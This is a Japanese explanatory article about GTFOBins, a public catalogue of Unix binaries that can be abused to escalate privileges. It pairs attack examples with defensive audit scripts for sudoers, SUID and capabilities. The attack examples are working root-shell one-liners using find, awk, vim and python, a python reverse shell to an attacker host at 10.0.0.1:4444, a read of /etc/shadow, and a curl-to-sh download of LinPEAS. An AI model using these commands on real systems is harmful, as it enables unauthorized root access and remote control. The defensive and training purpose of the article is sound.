この記事ではセキュリティに特化して解説します。AIセキュリティ全般は サプライチェーンセキュリティ完全ガイド2026|攻撃手法・防御ツール・実践チェックリスト をご覧ください。

GTFOBinsとは:Linuxバイナリの悪用手法をまとめた公開リファレンス

GTFOBins(Get The F*ck Out of Binaries)は、設定ミスのあるシステムでローカルセキュリティ制限を回避するために悪用できるUnix系実行バイナリを体系的にまとめたオープンなリファレンスです。GitHubで12,900以上のスターを集め、セキュリティコミュニティでスタンダードな参考資料として広く活用されています。

GTFOBinsが記録するのは「バイナリの脆弱性」ではありません。標準的なLinuxコマンドやツールが、適切に制限されていない環境でいかに意図しない方法で使われうるかを記録しています。awkfindpythonbashといった日常的に使うコマンドが、sudo権限の設定ミスやSUID bitの誤設定により、権限昇格・シェル脱出・ファイル読み書き・リバースシェルの手段に転用される仕組みを整理しています。

2026年4月時点でGTFOBinsのリポジトリには 478種類以上のバイナリエントリが収録されています(_gtfobins/ ディレクトリのエントリ数に基づく)。7z から始まり zypper まで、アルファベット順に整理されています。

このリファレンスはペネトレーションテスターだけでなく、防御側のシステム管理者やセキュリティエンジニアにとっても不可欠な知識ベースです。「このバイナリにsudo権限を付与するとどんなリスクがあるか」を事前に把握しておくことで、設定ミスを防げます。

セキュリティの実践的な知識についてはHackerAIも参考になります。

データ構造:YAMLベースの設計

GTFOBinsのGitHubリポジトリ(GTFOBins/GTFOBins.github.io)はJekyllで構築された静的サイトで、すべてのバイナリ情報は _gtfobins/ ディレクトリのYAMLファイルで管理されています。

# _gtfobins/awk.yaml の構造例(概念)
- name: awk
  functions:
    shell:
      - description: "シェルを起動する"
        code: |
          awk 'BEGIN {system("/bin/sh")}'
    sudo:
      - description: "sudoでawkが許可されている場合"
        code: |
          sudo awk 'BEGIN {system("/bin/sh")}'
    file-read:
      - description: "ファイルを読み込む"
        code: |
          awk '//' "$LFILE"
    file-write:
      - description: "ファイルに書き込む"
        code: |
          awk -v LFILE="$LFILE" 'BEGIN { print "DATA" > LFILE }'

このYAML形式により、スクリプトやセキュリティスキャナーからプログラム的にデータを取得できます。セキュリティ自動化ツールとの統合が容易な設計です。

GTFOBinsが分類する実行コンテキスト

GTFOBinsの最大の特徴のひとつは、各バイナリについて実行コンテキスト(どのような権限設定のもとで悪用できるか)を明確に分類している点です。

flowchart TD A["対象バイナリ
例: find, python, awk"] --> B{"実行コンテキスト"} B --> C["Shell
一般ユーザー権限で
シェル起動"] B --> D["Sudo
sudo許可設定が
ある場合"] B --> E["SUID
SUID bit が
設定されている場合"] B --> F["Capabilities
Linux Capabilitiesが
設定されている場合"] B --> G["File Read
制限された環境での
ファイル読み取り"] B --> H["File Write
制限された環境での
ファイル書き込み"] B --> I["Reverse Shell
外部接続による
シェル確立"] B --> J["Bind Shell
待受ポートを使った
シェル確立"] style A fill:#f9f9f9,stroke:#333 style B fill:#ffdfba,stroke:#333 style C fill:#d4f1f9,stroke:#333 style D fill:#c9e4ca,stroke:#333 style E fill:#ffd7d7,stroke:#333 style F fill:#ffd7d7,stroke:#333

各コンテキストの説明

コンテキスト 前提条件 典型的な悪用シナリオ
Shell 通常のユーザー権限 制限されたシェル環境(rbash等)からの脱出
Sudo /etc/sudoers での許可設定ミス NOPASSWD で許可されたコマンドからrootシェルへ
SUID バイナリにSUID bitが設定されている root所有のSUIDバイナリを経由した権限昇格
Capabilities Linux Capabilitiesの過剰付与 cap_setuid 等を持つバイナリからの昇格
File Read ファイル読み取り制限の迂回 root所有ファイルを間接的に読む
File Write ファイル書き込み制限の迂回 /etc/passwd や authorized_keys への書き込み
Reverse Shell ネットワーク到達性がある場合 標的システムから攻撃者マシンへの接続確立
Bind Shell 標的システムのポートへのアクセス 標的のポートに接続してシェル取得

実際のコマンド例:代表的なバイナリ

find コマンド(Sudoコンテキスト)

find がsudoで許可されている場合の権限昇格例:

# /etc/sudoers に "user ALL=(ALL) NOPASSWD: /usr/bin/find" がある場合
sudo find . -exec /bin/sh \; -quit

# または -exec を使ってシェルを起動
sudo find /etc/passwd -exec /bin/bash \;

python コマンド(複数コンテキスト)

python は非常に多くのコンテキストで悪用できるバイナリです:

# Shellコンテキスト:制限されたシェルからの脱出
python3 -c 'import os; os.system("/bin/sh")'

# SUIDコンテキスト:python3にSUID bitがある場合
python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'

# Reverse Shell:攻撃者マシン(10.0.0.1:4444)へ接続
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("10.0.0.1",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

awk コマンド(File Readコンテキスト)

# ファイル読み取り:root所有の/etc/shadowを読む(SUID awkがある場合)
LFILE=/etc/shadow
awk '//' "$LFILE"

# シェル起動(Sudoコンテキスト)
sudo awk 'BEGIN {system("/bin/sh")}'

bash コマンド(Capabilitiesコンテキスト)

# cap_setuid+eip が設定されたbashの場合
cp $(which bash) .
sudo setcap cap_setuid+eip bash  # 管理者が誤って設定したケース

./bash -p  # 特権でbashを起動(-p は effective UID を保持)
注意:倫理的・合法的な利用のみ
GTFOBinsに掲載されている手法は、自分が権限を持つシステムでのセキュリティテスト、CTF・ハッキング演習環境、または自組織のセキュリティ評価にのみ使用してください。許可を得ていないシステムへの不正アクセスは犯罪行為です。

防御側の活用:攻撃者の視点でシステムを強化する

GTFOBinsは攻撃者のツールとして語られることが多いですが、防御側にとってこそ価値があります。「このコマンドにsudo権限を付与すると何ができるか」を事前に把握することで、sudoers設定の審査が格段に厳密になります。

sudoers設定の審査

# 現在のsudo権限を確認
sudo -l

# 出力例(危険な設定の例)
# (ALL) NOPASSWD: /usr/bin/find
# (ALL) NOPASSWD: /usr/bin/python3
# (ALL) NOPASSWD: /usr/bin/vim

# これらはすべてGTFOBinsでrootシェル取得が可能なバイナリ

sudoers設定の審査スクリプト例:

#!/bin/bash
# sudoers内のGTFOBins掲載バイナリを検出するスクリプト例
DANGEROUS_BINS=(awk find python python3 perl ruby vim nano less more man git docker wget curl nc ncat)

sudo -l | grep -E "NOPASSWD" | while read -r line; do
    for bin in "${DANGEROUS_BINS[@]}"; do
        if echo "$line" | grep -q "$bin"; then
            echo "[WARNING] Potentially dangerous sudo permission: $line"
        fi
    done
done

SUID/SGIDビットの監査

# システム上のSUID/SGIDバイナリを検索
find / -perm /4000 -o -perm /2000 2>/dev/null | sort

# 結果をGTFOBinsのリストと照合して危険なバイナリを特定
# 特に注意が必要なSUID候補: python3, perl, ruby, bash, dash, vim

Linux Capabilitiesの確認

# cap_setuid や cap_net_admin が付与されたバイナリを検索
getcap -r / 2>/dev/null

# 危険なCapabilities例:
# /usr/bin/python3.9 = cap_setuid+eip
# /usr/bin/perl = cap_setuid+eip

CTFとHackTheBoxでの活用

GTFOBinsはCTF(Capture The Flag)やHackTheBoxなどのセキュリティ演習プラットフォームで日常的に参照される資料です。

典型的な使用フロー:

  1. 標的システムへの初期アクセスを取得
  2. sudo -lfind / -perm /4000getcap -r / で昇格ポイントを列挙
  3. GTFOBinsで検出したバイナリの昇格手法を確認
  4. 適切なコンテキスト(Sudo・SUID・Capabilities)の手法を適用
# 典型的な初期調査コマンドシーケンス
id && whoami                    # 現在のユーザーとグループを確認
sudo -l                         # sudo権限の確認
find / -perm -4000 2>/dev/null  # SUID バイナリの検索
getcap -r / 2>/dev/null         # Capabilities の確認
ls -la /etc/cron*               # Cronジョブの確認
cat /etc/passwd                 # ユーザーリストの確認

YAMLデータを活用した自動化

GTFOBinsのデータはYAML形式で公開されており、セキュリティスキャナーへの統合が可能です。

# GitHubからGTFOBinsデータを取得してシステムのリスクを評価する例
import requests
import json

def check_gtfobins_risk(binary_name: str) -> dict:
    """
    GTFOBins APIでバイナリの悪用可能性を確認する
    実際のGitHub APIを使用する場合の例
    """
    api_url = f"https://api.github.com/repos/GTFOBins/GTFOBins.github.io/contents/_gtfobins/{binary_name}.yaml"
    response = requests.get(api_url)
    
    if response.status_code == 200:
        return {
            "binary": binary_name,
            "found_in_gtfobins": True,
            "detail_url": f"https://gtfobins.org/gtfobins/{binary_name}/"
        }
    else:
        return {"binary": binary_name, "found_in_gtfobins": False}

# 使用例
result = check_gtfobins_risk("python3")
print(result)
# {"binary": "python3", "found_in_gtfobins": True, "detail_url": "..."}
セキュリティスキャナーへの組み込み
GTFOBinsのYAML構造を活用することで、インフラスキャン時の自動チェックリストとして使えます。AnsibleやTerraformの設定監査スクリプトに組み込むことで、危険なsudo権限の設定ミスを継続的に検出できます。

競合・類似リソースとの比較

GTFOBinsと同様のカテゴリに属するセキュリティリファレンスを比較します。

リソース 対象OS フォーカス 更新方式 データ形式
GTFOBins Linux/Unix バイナリ悪用・権限昇格 コミュニティPR YAML(機械可読)
LOLBAS(Living Off The Land Binaries) Windows Windows組み込みツールの悪用 コミュニティPR YAML
WTFBins Linux GTFOBinsの拡張・補完 コミュニティ Markdown
HackTricks クロスプラットフォーム ペネトレーションテスト全般 コミュニティ GitBook
PayloadsAllTheThings クロスプラットフォーム ペイロード・チートシート コミュニティ Markdown

GTFOBinsの特徴は機械可読なYAML形式での公開と、実行コンテキスト別の整理です。Windowsの同等リソースとしてはLOLBAS(Living Off the Land Binaries and Scripts)が同じ役割を果たします。

GTFOBinsの限界と注意点

GTFOBinsの限界
GTFOBinsはすべての権限昇格手法を網羅しているわけではありません。カーネルエクスプロイト、サービスの設定ミス、クレデンシャル漏洩などの手法は含まれていません。また、掲載されている手法がすべてのLinuxディストリビューション・バージョンで機能するとは限りません。標的システムでの事前確認が必須です。

SELinux・AppArmorとの関係

SELinuxやAppArmorが有効なシステムでは、GTFOBinsに掲載されている多くの手法が制限されます。

# SELinuxの状態確認
getenforce
# Enforcing: 多くのGTFOBins手法が制限される
# Permissive: ログは残るが制限はされない
# Disabled: 制限なし

# AppArmorの状態確認
aa-status 2>/dev/null || apparmor_status 2>/dev/null

新しいテクニックの追加方法

GTFOBinsはコミュニティ主導のプロジェクトです。新しいバイナリや手法を発見した場合はプルリクエストで貢献できます:

# 新しいバイナリエントリのYAML形式
# _gtfobins/newbinary.yaml として作成
# - name: newbinary
#   functions:
#     shell:
#       - description: "シェルを起動する"
#         code: |
#           newbinary -c "/bin/sh"

GTFOBinsを活用したセキュリティ教育とトレーニング

GTFOBinsはセキュリティ学習のプラットフォームとしても広く使われています。

CTFでの活用パターン

CTF(Capture The Flag)競技では、Linuxシステムへの初期アクセス後に権限昇格が必要になるシナリオが頻繁に出題されます。GTFOBinsはこの局面での「チートシート」として機能します。

典型的なCTFの権限昇格シナリオ:

# Step 1: 低権限ユーザーでシステムにアクセス後
id
# uid=1001(ctfuser) gid=1001(ctfuser) groups=1001(ctfuser)

# Step 2: sudo権限を確認
sudo -l
# User ctfuser may run the following commands:
#     (root) NOPASSWD: /usr/bin/vim

# Step 3: GTFOBinsで 'vim' の Sudo コンテキストを確認
# → https://gtfobins.org/gtfobins/vim/

# Step 4: 該当する手法を適用
sudo vim -c ':!/bin/sh'
# rootシェルが起動

HackTheBoxのマシンで頻出するバイナリ

HackTheBoxのLinuxマシンで頻繁に活用されるGTFOBinsのバイナリ:

バイナリ 頻出コンテキスト 理由
find Sudo 多くのシステムで管理作業用にsudo許可されがち
python/python3 Sudo, SUID スクリプト実行のために過剰な権限が与えられやすい
vim/nano Sudo ファイル編集のためにsudo許可されることが多い
wget/curl Sudo ファイルダウンロードのために許可されることがある
docker Shell dockerグループへの追加が権限昇格に繋がる
git Sudo リポジトリ操作のために許可されることがある
防御側の必須チェックポイント GTFOBinsの知識をシステム管理に活かすために、定期的に確認すべき項目をまとめます。 1. sudoers設定の審査:`sudo -l` と `/etc/sudoers` で許可されているコマンドをGTFOBinsと照合し、シェル起動が可能なバイナリが不必要に許可されていないか確認する。 2. SUID/SGIDビットの棚卸し:`find / -perm /4000 -o -perm /2000` の結果をリスト化し、必要のないSUID設定を `chmod u-s` で削除する。 3. Linux Capabilitiesの確認:`getcap -r /` を定期実行し、`cap_setuid` や `cap_setgid` が不必要に付与されたバイナリを特定する。 4. Cron jobのパーミッション確認:root権限で動作するcron jobが呼び出すスクリプトに一般ユーザーが書き込めないか確認する(GTFOBinsのFile Writeコンテキストに対応)。

Linuxシステム管理者向けの防御チェックリスト

GTFOBinsの知識を防御に活かすための実践的なチェックリストです。

#!/bin/bash
# セキュリティ監査スクリプト:GTFOBins観点での危険な設定を検出

echo "=== SUID バイナリ監査 ==="
find / -perm -4000 -not -path "/proc/*" 2>/dev/null | sort

echo ""
echo "=== 危険なSUID候補の確認 ==="
DANGEROUS_SUID=(python3 perl ruby bash dash vim nano less more man git)
for bin in "${DANGEROUS_SUID[@]}"; do
    result=$(find / -name "$bin" -perm -4000 2>/dev/null)
    if [ -n "$result" ]; then
        echo "[ALERT] SUID設定のある $bin: $result"
    fi
done

echo ""
echo "=== Capabilities 監査 ==="
getcap -r / 2>/dev/null

echo ""
echo "=== Sudo 権限確認 ==="
echo "このユーザーのsudo権限:"
sudo -l 2>/dev/null

GTFOBinsと関連セキュリティリソースの使い分け

GTFOBinsを最大限活用するためには、関連するセキュリティリソースと組み合わせることが効果的です。

LinPEAS との組み合わせ

LinPEAS(Linux Privilege Escalation Awesome Script)はLinuxシステムの権限昇格可能なポイントを自動スキャンするツールです。GTFOBinsと組み合わせることで、スキャン結果から具体的な昇格手法を素早く特定できます。

# LinPEASでシステムをスキャン
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

# 出力に含まれる「Sudo version」「SUID binaries」セクションの結果を
# GTFOBinsで検索して具体的な手法を確認

MITRE ATT&CK フレームワークとのマッピング

GTFOBinsのテクニックは MITRE ATT&CK フレームワークの以下のカテゴリに対応します。

GTFOBinsのコンテキスト MITRE ATT&CK 技術ID
Sudo(シェル起動) Privilege Escalation: Sudo and Sudo Caching Abuse T1548.003
SUID Privilege Escalation: Setuid and Setgid T1548.001
Capabilities Privilege Escalation: Linux Capabilities T1548.004
Reverse Shell Command and Control: Non-Standard Port T1571
File Read(制限回避) Defense Evasion: Indicator Removal T1070

セキュリティフレームワークとGTFOBinsを統合したリスク管理については、HackerAIも参考にしてください。

GTFOBinsの貢献方法とコミュニティ

GTFOBinsはGitHubで活発なコミュニティによって維持されています。新しいバイナリや手法の追加はプルリクエストで行われます。

プルリクエストの作成手順

# 1. リポジトリをフォーク後クローン
git clone https://github.com/YOUR_USERNAME/GTFOBins.github.io.git
cd GTFOBins.github.io

# 2. 新しいバイナリのYAMLファイルを作成
# _gtfobins/newbinary/ ディレクトリまたは .yaml ファイルとして追加

# 3. ローカルでJekyllを起動して確認
bundle exec jekyll serve

# 4. プルリクエストを作成
# タイトル: "Add newbinary - shell, sudo"
# 説明: テストした環境・バージョン・コマンドの説明を含める

YAMLファイルの作成ルールは既存のエントリを参考にしてください。特に重要なのは:

  • テスト済みの環境(Linuxディストリビューション・バージョン)を明記すること
  • 各手法に対してコード例と説明を含めること
  • 既存の分類(shell・sudo・suid・capabilities・file-read・file-write等)に従ってカテゴライズすること

関連記事: サプライチェーンセキュリティ完全ガイド2026|攻撃手法・防御ツール・実践チェックリスト

まとめ

GTFOBinsは「LinuxおよびUnix系システムで悪用可能な実行バイナリ」をまとめた、セキュリティコミュニティで不可欠なリファレンスです。478種類以上のバイナリエントリを収録し、Shell・Sudo・SUID・Capabilities・File Read/Write・Reverse/Bind Shellという実行コンテキスト別に整理されています。

攻撃側にとっては、ポスト・エクスプロイテーション時の権限昇格手法を素早く確認するチートシートです。CTFやペネトレーションテストで日常的に参照します。

防御側にとっては、sudoers設定の審査・SUID bitの監査・Capabilitiesの棚卸しの際に「何が危険か」を判断する基準になります。YAML形式でのデータ公開により、セキュリティスキャナーへの自動統合も可能です。

GitHubリポジトリがJekyllベースのYAML構造で管理されているため、コミュニティが継続的に新しいテクニックを追加しています。Linuxシステムのセキュリティに関わるすべてのエンジニアが参照すべきリソースです。

セキュリティの自動化ツールについてはHackerAIも合わせて確認してください。

参照ソース